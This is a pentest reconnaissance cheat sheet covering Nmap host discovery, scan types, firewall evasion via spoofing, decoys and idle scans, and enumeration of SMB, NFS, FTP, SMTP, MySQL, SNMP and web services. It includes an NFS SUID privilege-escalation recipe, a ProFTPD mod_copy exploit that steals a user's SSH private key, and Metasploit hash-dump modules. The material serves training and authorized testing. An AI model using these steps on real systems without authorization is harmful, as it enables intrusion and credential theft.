Reconnaissance Guide: Information Gathering with Nmap

A practical handbook for network scanning, host discovery, and service enumeration.

Target Specification

Before we start scanning, we need to tell Nmap what to scan. We can specify targets in several ways:

Single Targets

nmap <machine-ip>
nmap scanme.nmap.org
nmap example.com

IP Ranges

# Scan IPs 15 through 20
nmap 10.10.10.15-20

# Scan a subnet (this scans 4 IP addresses)
nmap 10.10.10.10/30

# Scan a range in the last octet
nmap 10.10.0-255.101-125

From a File

# Read targets from a file
nmap -iL list_of_hosts.txt

List Targets Without Scanning

# Check which hosts will be scanned (includes reverse DNS)
nmap -sL TARGETS

# Same but skip reverse DNS lookup
nmap -sL -n 10.10.0-255.101-125

Live Host Discovery

Finding live hosts is the first step before port scanning. Nmap uses different methods depending on our privileges and network location.

How Nmap Discovers Hosts

Privileged user on local network:

Sends ARP requests

Privileged user outside local network:

ICMP echo requests
TCP ACK to port 80
TCP SYN to port 443
ICMP timestamp request

Unprivileged user outside local network:

TCP 3-way handshake
TCP SYN to port 80
TCP SYN to port 443

Ping Scan (Host Discovery Only)

# Discover online hosts without port scanning
nmap -sn <targets>

# ARP scan only (local network only)
nmap -PR -sn <targets>

ARP Scanning with ARP-SCAN

# Scan the local network
sudo arp-scan --localnet
sudo arp-scan -l

# Specify network interface
sudo arp-scan -I eth0 -l

# Scan specific subnet
sudo arp-scan <host>/24

ICMP-Based Discovery

# ICMP echo request (standard ping)
nmap -PE -sn <target>

# ICMP timestamp request (when echo is blocked)
nmap -PP -sn <target>

# ICMP address mask request
nmap -PM -sn <target>

TCP and UDP Discovery

# TCP SYN ping (port 80 by default)
nmap -PS -sn <target>/24

# Specify custom ports
nmap -PS21,80,443,8080 -sn <target>

# TCP ACK ping (privileged users only)
nmap -PA -sn <target>
nmap -PA80,443,8080 -sn <target>

# UDP ping (uses uncommon ports to trigger ICMP errors)
nmap -PU -sn <target>

Masscan: Internet-Scale Scanning

# Fast internet-scale port scanner
masscan <target>/24 -p443
masscan <target>/24 -p80,443
masscan <target>/24 -p22-25
masscan <target>/24 --top-ports 100

Reverse DNS Lookup

# Query DNS server for hostnames (even for offline hosts)
nmap -R <target> --dns-servers <dns-server>

Basic Port Scanning

Once we’ve found live hosts, we scan for open ports. Here are the fundamental scan types.

TCP Connect Scan

Completes the full TCP handshake (SYN –> SYN/ACK –> ACK –> RST/ACK). The connection is torn down as soon as the port state is confirmed.

nmap -sT <target>

When to use: When running as an unprivileged user. This is the only option for discovering open TCP ports without root privileges.

Closed port behavior: Responds with RST,ACK.

Performance options:

-F: Fast mode (scans only the 100 most common ports)
-r: Scan ports in consecutive order instead of random

TCP SYN Scan

Sends SYN, receives SYN/ACK, then sends RST (never completes the handshake).

nmap -sS <target>

When to use: Default scan for privileged users. Less likely to be logged since the full connection is never established.

UDP Scan

No response is expected from open UDP ports.

nmap -sU <target>

Closed port behavior: Returns ICMP Destination Unreachable (Port Unreachable).

Port Selection

# Specific ports
nmap <target> -p22,80,443

# Port ranges
nmap <target> -p1-1023
nmap <target> -p20-25

# All ports
nmap <target> -p-

# Top 100 most common
nmap <target> -F

# Top 10 most common
nmap <target> --top-ports 10

Timing and Performance

# Timing templates (-T0 to -T5)
nmap -T0 <target>  # Paranoid: waits 5 minutes between probes
nmap -T1 <target>  # Sneaky: often used in real engagements
nmap -T2 <target>  # Polite
nmap -T3 <target>  # Normal (default)
nmap -T4 <target>  # Aggressive: often used in CTFs
nmap -T5 <target>  # Insane: may affect accuracy

# Packet rate control
--min-rate <number>
--max-rate <number>
--max-rate 10      # No more than 10 packets per second

# Parallelism control
--min-parallelism <numprobes>
--max-parallelism <numprobes>

Advanced Port Scanning

These techniques help evade firewalls, hide our identity, and gather information through non-standard methods.

Stealth Scans (No Response = Open)

These scans rely on the absence of a response to infer that a port is open. Results show as open|filtered because we cannot be certain.

TCP Null Scan

No flags set. No response if port is open, RST if closed.

nmap -sN <target>

TCP FIN Scan

Only the FIN flag is set.

nmap -sF <target>

TCP Xmas Scan

FIN, PSH, and URG flags are set (lights up like a Christmas tree).

nmap -sX <target>

TCP Maimon Scan

FIN and ACK flags are set. Not effective against modern systems.

nmap -sM <target>

Note: In modern networks, both open and closed ports often send RST responses, making this scan less useful.

Firewall Evasion Scans

TCP ACK Scan

ACK flag is set. RST response regardless of port state. Useful for mapping firewall rules.

nmap -sA <target>

Purpose: Identifies filtered ports. If we get a response, the port is not blocked by the firewall.

TCP Window Scan

Similar to ACK scan but examines the TCP Window field of the RST packet.

nmap -sW <target>

Custom Scan

Set your own combination of flags.

# Example: RST, SYN, and FIN together
nmap --scanflags RSTSYNFIN <target>

# Set all flags at once
nmap --scanflags URGACKPSHRSTSYNFIN <target>

Identity Obfuscation

Spoofing

Only useful if we can capture the responses.

# Spoof source IP address
nmap -S <spoofed-ip> <target>

# Specify interface and skip ping
nmap -e <net-interface> -Pn -S <spoofed-ip> <target>

# Spoof MAC address (same subnet only)
nmap --spoof-mac <spoofed-mac>

Decoys

Hide ourselves among multiple fake sources.

# Set specific decoys
nmap -D <decoy1>,<decoy2>,<me>,<decoy3> <target>

# Use random IP addresses
nmap -D 10.10.0.1,10.10.0.2,RND,RND,<me> <target>

Fragmentation and Packet Manipulation

Fragmented Packets

Split data into small fragments (8 bytes or less by default).

# Standard fragmentation (8 bytes)
sudo nmap -sS -p80 -f <target>

# Double fragmentation (16 bytes)
sudo nmap -sS -p80 -ff <target>

# Custom MTU size
sudo nmap -sS -p80 --mtu 16 <target>

# Increase packet size
--data-length <num>

Idle/Zombie Scan

Uses an idle system to proxy our scan, hiding our identity completely.

How it works:

Probe the idle host and record its IP ID
Send SYN to target with spoofed IP (the zombie’s IP)
Probe the idle host again and compare IP IDs

Interpretation:

IP ID difference of 1: port is closed
IP ID difference of 2: port is open

nmap -sI <zombie-ip> <target>

Debugging and Verbose Output

# Show reasoning for port states
sudo nmap -sS --reason <target>

# Verbose output
sudo nmap -sS -v <target>
sudo nmap -sS -vv <target>

# Debugging details
sudo nmap -sS -d <target>
sudo nmap -sS -dd <target>

Post-Port Scanning

After finding open ports, we gather more detailed information.

Service Version Detection

Determines service and version information for open ports.

sudo nmap -sV <target>

Important: -sV forces the TCP 3-way handshake (unlike -sS). It grabs service banners rather than guessing.

Intensity levels:

--version-intensity 0-9 (0 = lightest, 9 = most complete)
--version-light (intensity 2)
--version-all (intensity 9)

OS Detection

Requires at least one open and one closed port.

sudo nmap -sS -O <target>

Note: OS fingerprints can be inaccurate. Treat version results with caution.

Traceroute

Nmap starts with high TTL and decreases it (opposite of standard traceroute).

sudo nmap -sS --traceroute <target>

Nmap Scripting Engine (NSE)

NSE contains nearly 600 scripts for automated testing.

Script categories:

auth: Authentication-related tests
broadcast: Host discovery via broadcast messages
brute: Brute-force password auditing
default: Default scripts (same as -sC)
discovery: Information retrieval (DNS names, database tables)
dos: Denial of Service detection
exploit: Attempts to exploit vulnerable services
external: Third-party service checks
fuzzer: Fuzzing attacks
intrusive: Aggressive scripts (brute-force, exploits)
malware: Backdoor detection
safe: Non-intrusive scripts
version: Service version retrieval
vuln: Vulnerability checks

# Run default scripts
sudo nmap -sS -sC <target>

# Run specific script
sudo nmap -sS --script "script-name" <target>

# Run scripts matching pattern
sudo nmap -sS --script "ftp*" <target>

Saving Output

# Normal format (human-readable)
sudo nmap -sS -oN <filename> <target>

# Grepable format (for processing)
sudo nmap -sS -oG <filename> <target>

# All formats (normal, grepable, XML)
sudo nmap -sS -oA <filename> <target>

Service Enumeration

Once ports are identified, we enumerate specific services.

General Service Scanning

# Scan top 1000 common ports
nmap <target>

# Full TCP port scan with scripts and version detection
nmap -sV -sC -p- <target>

# Run specific script on specific port
nmap --script <script-name> -p<port> <target>

# Aggressive scan on specific port
nmap -A -p<port> <target>

Banner Grabbing

# With Nmap
nmap -sV --script=banner -p21 <target>/24

# With Netcat
nc -nv <target> <port>

SMB Enumeration

# OS discovery via SMB
nmap --script smb-os-discovery.nse -p445 <target>

# List available shares (no password)
smbclient -N -L \\\\<target>

# List shares with credentials
smbclient -U <username> \\\\<target>\\<share>

# Recursive download
smbget -R smb://<ip>/<share>

NFS (Network File System)

Requires nfs-common package.

# List NFS shares
/usr/sbin/showmount -e <target>

# Create mount point
mkdir /tmp/mount/

# Mount the share
sudo mount -t nfs <target>:/<share> /tmp/mount/

# Check NFS exports with Nmap
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount <target>

Privilege Escalation via NFS:

If root_squash is disabled, we can exploit it:

Gain low-privilege access
Upload a bash executable to the NFS share
Set SUID permissions: sudo chmod +s executable.sh
Execute via SSH to gain root access

FTP

# Connect to FTP server
ftp -p <target>

# Anonymous login
ftp -a <target>

# Common commands after login: ls, cd, get, put
get <filename>

ProFTPD mod_copy Exploit (versions < 1.3.5):

# Connect via netcat
nc <target> 21

# Copy files on remote host
SITE CPFR /home/<user>/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

# Mount NFS and retrieve file
mkdir /mnt/targetNFS
sudo mount <target>:/var /mnt/targetNFS
cp /mnt/targetNFS/tmp/id_rsa .
sudo chmod 600 id_rsa
ssh -i id_rsa <user>@<target>

SMTP (Simple Mail Transfer Protocol)

# Enumerate users with smtp-user-enum
smtp-user-enum -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t <target> -p 25 -v

Alternative using Metasploit:

auxiliary/scanner/smtp/smtp_version
auxiliary/scanner/smtp/smtp_enum

MySQL

# Connect to MySQL server
mysql -h <target> -u <username> -p

# Show databases
SHOW DATABASES;

# Select database
USE <database>;

# Show tables
SHOW TABLES;

Metasploit modules:

auxiliary/admin/mysql/mysql_sql: Execute SQL queries
auxiliary/scanner/mysql/mysql_schemadump: Dump database schema
auxiliary/scanner/mysql/mysql_hashdump: Dump password hashes

SNMP

# Enumeration with snmp-check
snmp-check <target> -c public

# SNMP walk with public community string
snmpwalk -v 2c -c public <target> 1.3.6.1.2.1.1.5.0

# SNMP walk with private community string
snmpwalk -v 2c -c private <target>

Web Enumeration

Directory and File Brute-Forcing

# Gobuster directory scan
gobuster dir -u http://<target>/ -w /usr/share/dirb/wordlists/common.txt

# Skip TLS certificate verification
gobuster dir -k -u <target> -w <wordlist>

Subdomain Enumeration

# Gobuster DNS mode
gobuster dns -d <domain> -w /usr/share/SecLists/Discovery/DNS/namelist.txt

Web Technology Detection

# Identify web technologies on single target
whatweb <target>

# Scan entire network
whatweb --no-errors <target>/24

Quick Reference: The Nmap Workflow

Enumerate targets - Define what to scan
Discover live hosts - Find active systems
Reverse DNS lookup - Resolve hostnames
Scan ports - Identify open ports
Detect versions - Identify running services
Detect OS - Determine operating system
Traceroute - Map network path
Run scripts - Automated vulnerability checks
Write output - Save results for later

Reconnaissance Guide: Information Gathering with Nmap#

Target Specification#

Live Host Discovery#

Basic Port Scanning#

Advanced Port Scanning#

Stealth Scans (No Response = Open)#

Firewall Evasion Scans#

Identity Obfuscation#

Fragmentation and Packet Manipulation#

Post-Port Scanning#

Service Enumeration#

Web Enumeration#

Quick Reference: The Nmap Workflow#